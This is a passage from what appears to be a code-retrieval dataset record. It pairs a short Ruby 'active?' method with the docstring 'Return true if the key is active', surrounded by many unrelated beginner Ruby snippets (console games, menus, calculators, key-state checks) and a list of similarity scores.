to BATTLESHIP\\nEnter p to play or q to quit\"\n end", "def choose_power(power)\n power.downcase!\n case power\n when \"digging\"\n clear_screen\n spacing\n puts \"Ah, the digging power! Have fun throwing up dirt in search for your food treasures.\"\n $power = \"dig\"\n when \"trash diving\"\n clear_screen\n spacing\n puts \"Humans think their food is safe in trash bins? Pfft. You'll show them.\"\n $power = \"trash\" \n when \"howling\"\n clear_screen\n spacing\n puts \"Arrroooooooo! Howl to lull humans to sleep and then snatch their grub.\"\n $power = \"howl\"\n when \"billy goat\"\n clear_screen\n spacing\n puts \"Harness the craftiness and smarts of the billy goat to demand food from humans! Also useful against trolls.\"\n $power = \"goat\" \n when \"info\"\n clear_screen\n spacing\n quickly do\n $power_info\n end\n puts \"Please choose: digging, trash diving, howling, or billy goat.\"\n prompt\n choose_power(STDIN.gets.chomp!)\n else \n puts \"Please choose: digging, trash diving, howling, billy goat, or info.\"\n choose_power(STDIN.gets.chomp!)\n end #end of case statement\n end", "def offer_rose(name)\n puts \"Would you take this rose, #{name}, in exchange for giving an old beggar woman shelter from the bitter cold?\"\nend", "def choice_acquisition\n if @player_role_selection == 'breaker'\n @proposed_code = player_choice_acquisition\n elsif @player_role_selection == 'maker'\n @proposed_code = computer_choice_acquisition\n end\n puts \"Playing #{@proposed_code}\"\n end", "def rpc\n puts \"Rock Paper Scissors?\"\n user_choice = gets.strip\n cpu_choice = ['rock', 'paper', 'scissors'].sample\n puts cpu_choice\n if user_choice === cpu_choice\n puts 'Tie'\n else\n case user_choice\n when 'rock'\n result = (cpu_choice === 'scissors') ? 'Win' : 'Lose'\n puts result\n when 'paper'\n result = (cpu_choice === 'rock') ? 'Win' : 'Lose'\n puts result\n when 'scissors'\n result = (cpu_choice === 'paper') ? 'Win' : 'Lose'\n puts result\n else\n user_choice\n end\n end\nend", "def display_winning_msg(winning_msg)\n case winning_msg\n when \"r\"\n puts \"Rock Smashes scissors\"\n when \"p\"\n puts \"Paper Wraps Rock\"\n when \"s\"\n puts \"Scissors cuts Paper\"\n end\nend", "def select_player_choice (player)\n puts \"\\n#{player.name}, it's your turn.\\n\\nHere are your options:\\n\"\n @acceptable_choices.each { |e| puts e}\n player.select_choice(self)\n end", "def walking_down_into_the_forest\n clear_screen\n puts \"As you walk into the forest you hear a noise up ahead.\\n\\n\"\n sleep(2)\n puts \"There is a Giant Troll rushing towards you...\\n\\n\"\n sleep(2)\n if @selected_weapon.include?(\"gun\") or @selected_weapon.include?(\"knife\") then\n puts \"Luckily you have a #{@selected_weapon} and you defeated the Giant Troll!\\n\\n\"\n walking_out_of_the_forest\n else\n puts \"Oh No! you dont have the right tools to fight The Giant Troll!\\n\\n\"\n puts \"He rushes you and crushes your skull\\n\\n\"\n game_over\n end\nend", "def search_weapon\n\t\t@weapon = rand(1..6)\n\t\tputs \"Tu as trouvรฉ une arme de niveau #{@weapon}\"\n\t\tif @weapon <= @weapon_level # Si le niveau est infรฉrieur ou รฉgal au niveau de l'ancienne arme, on garde l'ancienne.\n\t\t\tputs \" M@*#$ l'arme trouvรฉe est vraiment bidon, tu gardes l'ancienne\"\n\t\telse \n\t\t\tputs \"De la frappe frere !\\n\\n\"\n\t\t\t@weapon_level = @weapon # Si meilleure arme, on la prend\n\t\tend\n\tend", "def prompt_action \n puts \"You have six options: list users, list channels, select user, select channel, display details, send message, or quit.\"\n puts \"\\n\"\n print \"Please enter your choice: \"\n return gets.chomp.downcase\nend", "def choose\n \n end", "def choice\n puts \"How do you want to play?:\"\n print \"Many Battles \"\n print \"- Choose Your Stats \"\n print \"- Move Battle(unavailable)\"\n puts \" \"\n print \"Enter your choice: \"\n choice = gets.chomp\n\n if choice == \"Many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Many battles\"\n system \"clear\"\n many_battles\n elsif choice == \"many Battles\"\n system \"clear\"\n many_battles\n elsif choice == \"Choose Your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"Choose your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose Your stats\"\n system \"clear\"\n user_input\n elsif choice == \"choose your Stats\"\n system \"clear\"\n user_input\n elsif choice == \"Move Battle\"\n puts \"This Mode is unavailable\"\n elsif choice == \"move battle\"\n puts \"This Mode is unavailable\"\n else\n puts \"Type in one of the choices\"\n end\n end", "def choose_game(type)\n case(type)\n when '2'\n puts \"This feature is not yet available. Please try again later.\"\n # two_player_mode\n when '1'\n puts \"This feature is not yet available. Please try again later.\"\n # one_player_mode\n when '0'\n puts \"This feature is not yet available. Please try again later.\"\n # zero_player_mode\n when 'q'\n puts \"Thanks for playing! Good bye.\"\n exit\n else\n puts \"You have not selected a valid option.\"\n puts \"Please enter a number (0-2) or 'q' to quit.\"\n end\n\n choose_game(prompt)\nend", "def make_role_choice(human_name)\n puts \"Hi there #{human_name}! Enter b to play as the codeBreaker or m to play as the codeMaker.\"\n choice = gets.chomp.to_s\n if %w[b m].include?(choice)\n create_players(choice, human_name)\n else make_role_choice(human_name)\n end\n end", "def choose\r\n\tputs \"And what about programing? Do you like programing? Remember, Yes, no, or maybe, only!\"\r\n\tchoice = gets.chomp\r\n\tcase choice.downcase\r\n\twhen \"yes\"\r\n\t\tputs \"That\\'s great!\"\r\n\twhen \"no\"\r\n\t\tputs \"That\\'s too bad!\"\r\n\twhen \"maybe\"\r\n\t\tputs \"Glad you\\'re giving it a chance!\"\r\n\telse\r\n\t\tputs \"What does that even mean??\"\r\n\tend\r\nend", "def interface\r\n clear\r\n menu_banner\r\n puts\r\n options = [\r\n { name: 'New Game', value: -> { get_user_selection } },\r\n { name: 'Custom quiz collections', value: -> { custom_collection } },\r\n { name: 'History', value: -> { history_select } },\r\n { name: 'Exit', value: lambda {\r\n clear\r\n exit_banner\r\n exit\r\n } }\r\n ]\r\n option = @prompt.select(\"Please select from the following options.\\n\\n\", options,\r\n help: \"(Select with pressing โ†‘/โ†“ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always)\r\n end", "def choose_club\n require \"tty-prompt\"\n prompt = TTY::Prompt.new\n\n puts \"\\n \\n\"\n\n prompt.select(\"For which club?\", filter: true) do |menu|\n all_clubs.each do |club|\n menu.choice club.name\n end\n end\nend", "def read_choice\n\tputs \"Welcome to Crappy Calc\"\n\tputs \"Available functions:\"\n\tputs \"1. Addition\"\n\tputs \"2. Subtraction\"\n\tputs \"3. Multiplication\"\n\tputs \"4. Division\"\n\tputs \"5. Exponents\"\n\tputs \"6. Square Root\"\n\tputs \"Q: Quit\"\n\n\tprint \"Please enter your selection: \"\n\n\tchoice = gets.chomp.downcase\n\tchoice\nend", "def actions\n answer = @prompt.select(\"Where will you go?\", %w(Foward Back Status Items), cycle:true, per_page:4)\n if answer == \"Foward\"\n if @zone_cur == 10\n narrate(\"you leave the #{self.name}\")\n leave(self.exit_name)\n else\n @zone_cur += 1\n narrate(\"you continue foward\")\n encounter_check\n end\n elsif answer == \"Back\"\n if @zone_cur == 0\n narrate(\"you leave the #{self.name}\")\n leave(self.entrance_name)\n else\n @zone_cur -= 1\n narrate(\"you retreat backwards\")\n encounter_check\n end\n elsif answer == 'Status'\n narrate(\"#{@player.name} has #{@player.hp} hp, #{@player.attack} attack, and #{@player.defence} defence\")\n str = \"\"\n a = @player.equipment.map do |el|\n el.name\n end\n b = a.join(\", \")\n narrate(\"#{@player.name} has the following items equipped: #{b}\")\n here\n elsif answer == 'Items'\n answer = @prompt.select(\"Items Menu\", %w(Equip_item Look_item), cycle:true, per_page:4)\n if answer == 'Equip_item'\n #list inventory\n stuff = @player.items.map do |el|\n el.name\n end\n #select an item from inventory\n answer = @prompt.select(\"Items Menu\", stuff, cycle:true, per_page:4)\n #find that item again\n to_eq = @player.items.find do |el|\n el.name == answer\n end\n binding.pry\n #equip that item\n @player.equip(to_eq)\n narrate( \"You have equipped the #{to_eq.name}!\")\n actions\n end\n end\n end", "def choose\n [:rock, :paper, :scissors, :spock, :lizard].sample\n end", "def get_choices()\n\n puts \"Player choice: #{@player_choice}\\n\\n\"\n puts \"Computer choice: #{@computer_choice}\\n\\n\"\n\n end", "def display_choices(monster) \n monster.display_moves << \"or type (Q)uit to give up.\"\n end", "def display_menu\n # print the options\n puts \"Main menu:\"\n puts \"s = Start game\"\n puts \"c = Change size\"\n puts \"q = Quit\"\n # print the best score\n # if there is no best score yet a message is displayed instead\n if $best_score == 0\n puts \"No games played yet\"\n else\n puts \"Best game: #{$best_score} turns\"\n end\n \n # Then ask for input for one of the options\n print \"Please enter your choice: \"\n \nend", "def i_choose_you\r\n\t\ttemp_name= @pokemon_name\r\n\t\tputs \"#{@nickname}, I choose you!\"\r\n\tend", "def menu_choice_conditions\n\n choice=0\n until ((choice>=1)&&(choice<=4)) do\n # puts `afplay AMemoryAway.mp3\\n`\n empty_line\n\n say (\"Chose your Quest: \\n\")\n sleep(0.5)\n puts \"\\u{1F449}\"\n choice = gets.chomp.to_i\n end\n if (choice==1)\n name unless $name==\",\"\n # thebes\n thebes\n end\n\n if (choice==2)\n name unless $name==\",\"\n troy\n p \"troy\"\n end\n\n if (choice==3)\n name unless $name==\",\"\n hades\n p \"hades\"\n end\n\n if (choice==4)\n end_game\n end\n\nend", "def welcome_menu\n prompt = TTY::Prompt.new\n puts\"( ๏พ‰ ๏พŸ๏ฝฐ๏พŸ)๏พ‰โ˜€๏ธ Welcome to Weeb Favorites! โ˜€๏ธใƒฝ(๏พŸ๏ฝฐ๏พŸใƒฝ)\"\n new = prompt.select(\"Before making modifications, please create a name:\", [\"Create\", \"View Duo List\", \"Modifications\", \"Exit\"])\n\n case new\n\n when 'Create'\n create\n chosen_char\n\n when 'View Duo List'\n find_all_duo\n\n when 'Modifications'\n mods\n\n when 'Exit'\n close_app \n end \nend", "def menu_choice(cmd)\n hplayer = @human_player\n action = cmd\n\n # define possible actions for the player\n if action == \"a\"\n hplayer.search_weapon\n elsif action == \"s\"\n hplayer.search_health_pack\n elsif action.match(/^(\\d)+$/) # check if action is a number\n hplayer.attacks(@enemies[action.to_i])\n if @enemies[action.to_i].life_points <= 0\n kill_player(@enemies[action.to_i])\n end\n end\n \n end", "def choice_a_battle\n use_item_in_battle\n end", "def get_user_choice\n # show the user the available options\n puts \"(+) - Addition\"\n puts \"(-) - Subtraction\"\n puts \"(*) - Multiplication\"\n puts \"(/) - Division\"\n puts \"(x) - Exponent\"\n puts \"(r) - Root\"\n puts \"(q) - Quit\"\n\n print \"Enter your selection: \"\n gets.downcase.chomp #implicit return\nend", "def main_menu\n options = [\"View recipe book\", \"Search by ingredient\", \"Quit app\"]\n answer = @prompt.select(\"Choose an option:\".colorize(:color => :blue), (options))\n if answer == options[0]\n select_recipe_from_book(@user.view_recipe_book)\n elsif answer == options[1]\n find_recipe\n elsif answer == options[2]\n puts ''\n puts \"Thanks for using Feed. See you next time!\".colorize(:color => :blue)\n system exit\n end\nend", "def get_user_choice\n # Show the available operations\n puts \"(+) - Addition\"\n puts \"(-) - Subtraction\"\n puts \"(*) - Multiplication\"\n puts \"(/) - Dividation\"\n puts \"(**) - Exponent\"\n puts \"(r) - squareRoots\"\n puts \"(q) - Quit\"\n\n print \"Enter your selection: \"\n gets.downcase.chomp # Implicit return\n end", "def winning_message(player)\n case player\n when 'Paper'\n puts \"Paper wraps rock\"\n when 'Rock'\n puts \"Rock breaks scissors\"\n when 'Scissors'\n puts \"Scissors cuts paper\"\n end\nend", "def new_game\n puts \"Start A New Game?\".colorize(:light_magenta,)\n puts \"------------------------------------------------------\".colorize(:yellow)\n prompt = TTY::Prompt.new\n choices = [\n {name: 'Yes', value: 1},\n {name: 'No', value: 2},\n ]\n players_input = prompt.select(\"Select An Option:\", choices) \n case players_input\n when 1\n return execute_game\n when 2\n return main_menu\n end \nend", "def show_inventory\n puts \"we have:\"\n puts \"douwe egberts\"\n puts \"nespresso\"\n puts \"senseo\"\n puts \"Choose a product\"\nend", "def rps(choice)\n choice = choice.capitalize\n rps = [\"Rock\", \"Paper\", \"Scissors\"]\n computer_choice = rps[rand(3)]\n return \"You: #{choice}, Computer: #{computer_choice}, Draw\" if choice == computer_choice\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Rock\" && computer_choice == \"Scissors\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Rock\" && computer_choice == \"Paper\"\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Paper\" && computer_choice == \"Rock\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Paper\" && computer_choice == \"Scissors\"\n return \"You: #{choice}, Computer: #{computer_choice}, Win\" if choice == \"Scissors\" && computer_choice == \"Paper\"\n return \"You: #{choice}, Computer: #{computer_choice}, Lose\" if choice == \"Scissors\" && computer_choice == \"Rock\"\nend", "def search_weapon\n\t\tnew_weapon_level = rand(1..6)\n\t\tputs \"Tu as trouvรฉ une arme de niveau #{new_weapon_level}\"\n\t\tif new_weapon_level > @weapon_level\n\t\t\tputs \"Youhou ! Elle est meilleure que ton arme actuelle : tu la prends.\"\n\t\t\t@weapon_level = new_weapon_level\n\t\telse\n\t\t\tputs \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\n\t\tend\n\tend", "def start_game\n\nai = ['R','P','S'].sample\n\nprompt(\"Choose paper(p), rock(r) or scissor(s)\")\nhuman = gets.chomp.upcase\n\n case\n when human == \"P\" && ai == \"P\"\n prompt(\"You chose Paper and I chose Paper: Tie\")\n when human == \"R\" && ai == \"R\"\n prompt(\"You chose Rock and I chose Rock: Tie\")\n when human == \"S\" && ai == \"S\"\n prompt(\"You chose Scissors and I chose Scissors: Tie\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose paper and I chose Rock, you win!\")\n when human == \"R\" && ai == \"S\"\n prompt(\"You chose Rock and I chose Scissors, You win!\")\n when human == \"S\" && ai == \"P\"\n prompt(\"You chose Scissors and I chose Paper, You win!\")\n when human == \"P\" && ai == \"R\"\n prompt(\"You chose Paper and I chose Rock, You win! \")\n when human == \"S\" && ai == \"R\"\n prompt(\"You chose Scissors and I chose Rock, I win!\")\n when human == \"P\" && ai == \"S\"\n prompt(\"You chose Paper and I chose Scissors, I win\")\n when human == \"R\" && ai == \"P\"\n prompt(\"You chose Rock and I chose Paper, I win!\")\n end\nend", "def game_mode\n return $prompt.select(\"Select game mode\",\n [\"Manual\", \"Simulate\"])\n \nend", "def menu_options\n puts \"Good morning, you have two options; you can either\"\n puts \"1. Add students to the directory\\n 2. View a list of students enrolled at Makers Academy\\n 3. Save the list of students to a file\\n 9. Exit the programme.\"\n puts \"Please type the option you would like?\"\nend", "def search_weapon\r\n lvl = rand(1..6)\r\n puts \"Tu as trouvรฉ une arme de niveau #{lvl}\"\r\n if @weapon_level >= lvl\r\n puts \"M@*#$... elle n'est pas mieux que ton arme actuelle...\"\r\n else\r\n puts \"Youhou ! elle est meilleure que ton arme actuelle : tu la prends.\"\r\n @weapon_level = lvl\r\n end\r\n end", "def meal_choice(op1, op2, op3 = \"tofu\")\n puts\"What a nutritious meal!\"\n meal = \"A plate of #{op3} with #{op1} and #{op2}.\"\n puts meal\n meal\nend", "def print_menu\n output.puts \"Madden's Car Selection Tool-\"\n \n # Print Current Model Info\n print_model_info\n\n # Print Menu Choices\n print_menu_choices\n\n # Get User Choice\n output.print \"Enter choice: \"\n end", "def player_rps\n loop do\n prompt(\"Choose #{OPTIONS.join(', ')}: \")\n choice = gets.chomp.downcase\n break choice unless OPTIONS.include?(choice) == false\n end\nend" ]
[ "0.8143034", "0.7432139", "0.7429339", "0.7394063", "0.7274119", "0.72526217", "0.7227061", "0.72176194", "0.7204273", "0.71763754", "0.71515805", "0.71512806", "0.71253586", "0.7103288", "0.70655507", "0.704441", "0.70342004", "0.70199716", "0.7011729", "0.69204384", "0.6903561", "0.6902146", "0.6902106", "0.689763", "0.68886393", "0.68852985", "0.6876011", "0.687274", "0.6871073", "0.6861611", "0.683144", "0.6813494", "0.6811131", "0.68108547", "0.68108547", "0.68108547", "0.6810738", "0.67962503", "0.6795555", "0.67815214", "0.67624056", "0.67504776", "0.6728234", "0.67268795", "0.671043", "0.6702881", "0.66946363", "0.66928077", "0.6687912", "0.6681935", "0.6678258", "0.66650486", "0.66633326", "0.66471463", "0.664109", "0.664074", "0.6633485", "0.6629096", "0.6628445", "0.6621741", "0.66196597", "0.6601894", "0.6596514", "0.65940356", "0.6593209", "0.6586907", "0.6585912", "0.65858924", "0.6585804", "0.65855145", "0.6581899", "0.6571374", "0.65622616", "0.6562235", "0.65480745", "0.65452695", "0.6544076", "0.65431434", "0.65403116", "0.6536323", "0.65311986", "0.65290815", "0.65257347", "0.6520524", "0.6520149", "0.65114677", "0.6511229", "0.65109265", "0.65026045", "0.64997244", "0.6498853", "0.6496437", "0.6486181", "0.6484615", "0.6483828", "0.6482171", "0.6472863", "0.64704114", "0.64642", "0.6463633", "0.64606714" ]
0.0
-1
Return true if the key is active. Once activated (by calling on), a key will remain active until it produces output below the inactivity threshold for duration of the inactivity timeout.
def active? return @active end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def active?(key)\n @counter[key] > 0\n end", "def active?\n return false if status != :active\n !ended?\n end", "def active?\n if is_active\n return true\n else\n return false\n end\n end", "def isKeyActive _args\n \"isKeyActive _args;\" \n end", "def active?\n if is_active\n return true\n else\n return false\n end\n end", "def currently_active\n # check if tag is active\n if self.active == false\n return false\n end\n \n # check if time based activation is active\n if self.active_time\n unless current_time_active\n return false\n end\n end\n \n # check if date based activation is action\n if self.active_date\n unless current_date_active\n return false\n end\n end\n \n return true\n end", "def active?(threshold = ACTIVE_TIMEOUT)\n active_override? || (offline_for <= threshold)\n end", "def active?\n active = false\n @mutex.synchronize { active = @active }\n return active\n end", "def key_held?(key)\n @held_interval[key] == G.kb_held_interval\n end", "def active?\n self.internal_object['status'] == 'Active'\n end", "def current_time_active\n if self.active_start_time.nil? or self.active_stop_time.nil?\n return false\n end\n \n # get the current time\n current_time = Time.now.utc\n \n # check if current time is in range\n if self.active_start_time.utc.strftime( \"%H%M%S%N\" ) <= current_time.utc.strftime( \"%H%M%S%N\" ) and self.active_stop_time.utc.strftime( \"%H%M%S%N\" ) >= current_time.utc.strftime( \"%H%M%S%N\" )\n return true\n else\n return false\n end\n \n return false\n end", "def active?\n Time.current - recent_at <= PERIOD_ACTIVE\n end", "def idle?\n @idle_time > 0\n end", "def active?\n status == STATUS[:active]\n end", "def active?\n true\n end", "def became_active?\n active_changed? && active\n end", "def active?\n activated == true\n end", "def isActive()\n return @activationCount > 0\n end", "def ongoing?\n @type == 'ACTIVE'\n end", "def active?\n !expired? && !revoked?\n end", "def is_alive\n @state == ALIVE\n end", "def active?\n\t\t@activation_count > 0\n\tend", "def active?\n true\n end", "def active?\n !activated_at.blank?\n end", "def is_active?\n return true if status && Date.current < start_date\n return false\n end", "def is_active?\n (start_time.nil? || start_time < Clock.time) && (end_time.nil? || end_time > Clock.time)\n end", "def active?\n @state.active?\n end", "def is_active?\n @@instance ? true : false\n end", "def active?\n active\n end", "def active?\n @data[:active]\n end", "def active?\n !self.activated_at.nil?\n end", "def idle?\n @idle\n end", "def active?\n @listener.running?\n end", "def active?\n !!@active\n end", "def active?\n @status == :established\n end", "def active?\n\t\t\treturn account_life_cycle_status == ACTIVE \n\t\tend", "def active?\n (status == ACTIVE)\n end", "def active?\n (status == ACTIVE)\n end", "def active?\n active\n end", "def active?\n @active != false\n end", "def active?\n @active.value\n end", "def active?\r\n @event.parallel? && $game_switches[@event.switch_id]\r\n end", "def active?\n\t\tstatus == STATUSES[2]\n\tend", "def keep_alive_key(key)\n return false unless @keys.key? key\n @mutex.synchronize do\n @keys[key][:st] = Time.now.to_i\n puts \"Keep Alive called for Key: #{key}\"\n end\n true\n end", "def active!\n @active.update { |_| true }\n end", "def active?\n status == 'active'\n end", "def active?\n [\"trialing\", \"active\", \"canceled\"].include?(status) &&\n (!(canceled? || paused?) || on_trial? || on_grace_period?)\n end", "def expired_kalive?(key, time)\n if !@keys.key?(key)\n return false\n end\n \n if Time.now.to_i - @keys[key][:st] > time\n puts \"Expired key due to not received keepalive within #{time} seconds : #{key}\"\n return true\n end\n\n false\n end", "def active?\n return true if status == 'active'\n\n false\n end", "def active?\n @active\n end", "def active?\n @active\n end", "def active?\n @active\n end", "def active?\n @active\n end", "def active?\n @active\n end", "def active?\n @active\n end", "def active?\n 'Active' == self.status\n end", "def inactive?\n (status == INACTIVE)\n end", "def active?\n @_active_status ||= ( attributes.include?('active') ? !!self.active : true )\n end", "def active?\n !canceled?\n end", "def idle?\n @state == :idle\n end", "def active?\n end", "def active?\n end", "def active?\n ACTIVE_STATUSES.include?(self.status.to_sym)\n end", "def wait_active(timeout = 0)\n Window.functions[__method__] ||= AU3_Function.new(\"WinWaitActive\", 'SSL', 'L')\n Window.functions[__method__].call(@title.wide, @text.wide, timeout) != 0\n end", "def on_hold?\n status == :inactive\n end", "def is_active\n return @is_active\n end", "def is_active\n return @is_active\n end", "def active?\n\t\t\tstate == 'active'\n\t\tend", "def active?\n # the existence of an activation code means they have not activated yet\n activation_code.nil?\n end", "def active?\n status.downcase == 'active'\n end", "def active?\n self.class.active?(self)\n end", "def active?\n status == 'active'\n end", "def active\n active?\n end", "def scan_active?\n\t\t\t@lightscan['lastscan'] == 'active'\n\t\tend", "def is_active?\n is_active\n end", "def is_active?\n is_active\n end", "def inactive?\n last_active < 1.minute.ago rescue true\n end", "def membership_active?\n active_at?(Time.now)\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n self.expires_at > Time.now\n end", "def active?; status == :active; end", "def recently_activated?\n return false\n @activated\n end", "def active?\n true\n end", "def active?\n true\n end", "def active?\n true\n end", "def active?\n @@instance ? true : false\n end", "def active?\n enabled\n end", "def active?\n Window.functions[__method__] ||= AU3_Function.new(\"WinActive\", 'SS', 'L')\n Window.functions[__method__].call(@title.wide, @text.wide) == 1\n end", "def activate\n @mutex.synchronize do\n unless @active\n @thread = Thread.new { run }\n @active = true\n end\n end\n true\n end", "def recently_activated?\n @activated\n end", "def idle?\n @options.fetch(:idle)\n end", "def event_running?\n @battle_event.active?\n end", "def recently_activated?\n @activated\n end", "def is_alive?\n\t\treturn @alive\n\tend", "def active?\n # Pings the connection to check if it's still good. Note that an\n # #active? method is also available, but that simply returns the\n # last known state, which isn't good enough if the connection has\n # gone stale since the last use.\n @connection.ping\n rescue OracleEnhancedConnectionException\n false\n end", "def recently_activated?\n @activated\n end", "def recently_activated?\n @activated\n end" ]
[ "0.7168802", "0.7039884", "0.67177564", "0.6712046", "0.6711074", "0.6608652", "0.65424615", "0.6517372", "0.647058", "0.6463852", "0.64272195", "0.64133286", "0.64068097", "0.6385015", "0.63812315", "0.6378988", "0.6363971", "0.6355046", "0.6339981", "0.6320405", "0.6304371", "0.6300428", "0.6293811", "0.6292503", "0.6288351", "0.6282983", "0.6270746", "0.6257535", "0.62569815", "0.6254207", "0.6252858", "0.6252543", "0.6247664", "0.6246387", "0.6240175", "0.62371516", "0.6235615", "0.6235615", "0.6228697", "0.6220015", "0.6218882", "0.6215595", "0.6210143", "0.6202138", "0.6197115", "0.6192125", "0.61869526", "0.6183745", "0.6182798", "0.61783206", "0.61783206", "0.61783206", "0.6167879", "0.6167879", "0.6167879", "0.6165882", "0.61453044", "0.61453027", "0.61375743", "0.6133959", "0.6129602", "0.6129602", "0.61260283", "0.61255187", "0.6114013", "0.6109643", "0.6109643", "0.61036575", "0.6085074", "0.6077883", "0.6077042", "0.6067632", "0.60651684", "0.6060109", "0.60570645", "0.60570645", "0.6036772", "0.6025001", "0.6012618", "0.6012618", "0.6012618", "0.6012618", "0.6012071", "0.6003011", "0.59973323", "0.5996493", "0.5996493", "0.5996493", "0.5995724", "0.5994359", "0.59934425", "0.5992466", "0.5991451", "0.5990406", "0.59868103", "0.598506", "0.5972097", "0.5971527", "0.596399", "0.596399" ]
0.6137625
58
Return true if the key has been released (by calling release or off).
def released? return @released end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key_released?(key)\n @prev_down.index(key) and @down.index(key).nil?\n end", "def release? key=:any\n return @data.include? :up if key == :any\n @data[key] == :up\n end", "def key_held?(key)\n @held_interval[key] == G.kb_held_interval\n end", "def released_true?\n self.released\n end", "def key_pressed?(key)\r\n\t\tif (GetKeyState.call(VALUES[key]).abs & 0x8000 == 0x8000)\r\n\t\t\tKeyRepeatCounter[key] = 0\r\n\t\t\treturn true\r\n\t\tend\r\n\t\treturn false\r\n\tend", "def released?\n released == true\n end", "def released? \n self.released \n end", "def released?\n released\n end", "def new_key_pressed?(key)\n flag = last_keys[key] || SDL::Key.press?(key)\n last_keys[key] = SDL::Key.press?(key)\n flag\n end", "def released?\n released\n end", "def released?\n released\n end", "def pressed?(key)\n p = button_down?(key)\n if p\n if @unpress.include?(key)\n p = false\n else\n @unpress.push(key)\n end\n end\n return p\n end", "def key_down?(key)\n @down.index(key)\n end", "def key_pressed?(key)\n SDL::Key.press?(key)\n end", "def button_released?(btn)\n @prev_down[btn] and not @down[btn]\n end", "def press?(key)\r\n\t\treturn ow_dt_i_press(key) if !VALUES.has_key?(key)\r\n\t\treturn true unless KeyRepeatCounter[key].nil?\r\n\t\treturn key_pressed?(key)\r\n\tend", "def key_pressed?(key)\n @prev_down.index(key).nil? and @down.index(key)\n end", "def key_pressed?\n @declared_fields['keyPressed'].value(java_self)\n end", "def unblock_key(key)\n return false unless @keys.key? key\n @mutex.synchronize do\n @keys[key][:ct] = @keys[key][:st]\n @available_keys[key] = true\n end\n true\n end", "def keys_down? *key_symbols\n key_symbols.each do |key_symbol|\n return false unless key_down? key_symbol\n end\n return nil if key_symbols.empty?\n return true\n end", "def key_pressed?(key)\n key_const = Gosu.const_get(:\"Kb#{key.to_s.gsub(/\\b\\w/){$&.upcase}}\")\n button_down?(key_const)\n end", "def key?\n return true if @key; false\n end", "def pressed?(key)\n @input[key].detect { |k| @game.button_down?(k) }\n end", "def released?\n !!released_at && (released_at < Time.current)\n end", "def key_pressed?\n Java.java_to_primitive(java_class.field(\"keyPressed\").value(java_object))\n end", "def key_pressed?\n Java.java_to_primitive(java_class.field(\"keyPressed\").value(java_object))\n end", "def key_press?\n $gtk.args.keyboard.key_down.raw_key\nend", "def locked?\n self.released?\n end", "def released( key )\n return KeyReleaseTrigger.new( key )\nend", "def key?(key)\n @semaphore.synchronize do\n return @hashed_storage.key? key\n end\n end", "def any_key_down? *key_symbols\n key_symbols.each do |key_symbol|\n return true if key_down? key_symbol\n end\n return nil if key_symbols.empty?\n return false\n end", "def rp5_key_press?(key)\n if $sketch.key_pressed?\n if $sketch.key == $sketch.class::CODED\n return $sketch.key_code == key\n else\n return $sketch.key == key.chr\n end\n end\n return false\n end", "def keep_alive_key(key)\n return false unless @keys.key? key\n @mutex.synchronize do\n @keys[key][:st] = Time.now.to_i\n puts \"Keep Alive called for Key: #{key}\"\n end\n true\n end", "def released?\n pub_assmt || pcp_step.released?\n end", "def keypress\n return false unless key\n\n return true if key_defined? && keymap.use(key)\n\n return true if global_key? && keymap('_global_').use(key)\n\n Vedeu.log(type: :input, message: \"Key detected: #{key.inspect}\".freeze)\n\n false\n end", "def delete_key(key)\n return false unless @keys.key? key\n @mutex.synchronize do\n @keys.delete(key)\n @available_keys.delete(key)\n end\n @deleted_keys.add key\n puts \"Deleted Key: #{key}\"\n true\n end", "def releaseKey(key)\n\t\t@keysPressed.delete(key)\n\tend", "def private?\n !@key.nil?\n end", "def key_release *args\n\t\t\tevent(:key_release, *args)\n\t\tend", "def locked? key\n ! ! data(key, LOCKED)\n end", "def key?(p0) end", "def press?(key)\n return @press[ key.is_a?(Symbol) ? KEY.get(key) : key ]\n end", "def press? key=:any\n return @data.include? :on if key == :any\n @data[key] != :off\n end", "def key?(key)\n @mutex.synchronize do\n if @entries.key?(key) && (@entries[key].nil? || @entries[key].expired?)\n @entries.delete(key)\n end\n @entries.key?(key)\n end\n end", "def not_pressed?\n high?\n end", "def key?(key)\n timeout_retry(3, 3){\n write \"EXISTS #{key}\\r\\n\"\n integer_reply == 1\n }\n end", "def held?\n status.queued_held?\n end", "def released? # for readability\n released\n end", "def release_key(key_id)\r\n @transport.iso_apdu! :ins => 0x28, :p1 => key_id\r\n return true\r\n end", "def key?(key)\n\t\t\t\tif key\n\t\t\t\t\t@keyed.key?(key)\n\t\t\t\tend\n\t\t\tend", "def key?\n @key\n end", "def key?\n @key\n end", "def key_released( event )\n @keys -= [event.key]\n end", "def delete_key_value?( key )\n @store.transaction { return false if @store.delete(key).nil? }\n true\n end", "def check_key_delete\n return unless open?\n return if @closing\n if Input.legacy_press?(:B)\n @esc_counter += 1\n if @esc_counter >= 50\n @esc_counter = 0\n selection_ok(nil)\n end\n else\n @esc_counter = 0\n end\n end", "def pressed?\n low?\n end", "def boot_interrupted?()\n Evdev.keys_held(KEYS)\n end", "def changing_res?\n Input.press?(DEK_ResSet::Keys[:holding_dwn_key])\n end", "def key?(key)\n !(head && head.commit.tree / key_for(key)).nil?\n end", "def key?(key)\n !(head && head.commit.tree / key_for(key)).nil?\n end", "def released?\n scheduled? && !!released_at && (released_at < Time.current)\n end", "def key?(key)\n !self[key].nil?\n end", "def outside?(key)\n @counter[key] == 0\n end", "def contains?(key)\n @semaphore.synchronize {\n @key_data.has_key?(key)\n }\n end", "def complete?\n keys.all?(&:complete?)\n end", "def key_set?\n !attributes['key'].nil?\n end", "def private_key?\n !!@private_key\n end", "def key?(key); end", "def key?(key); end", "def key?(key); 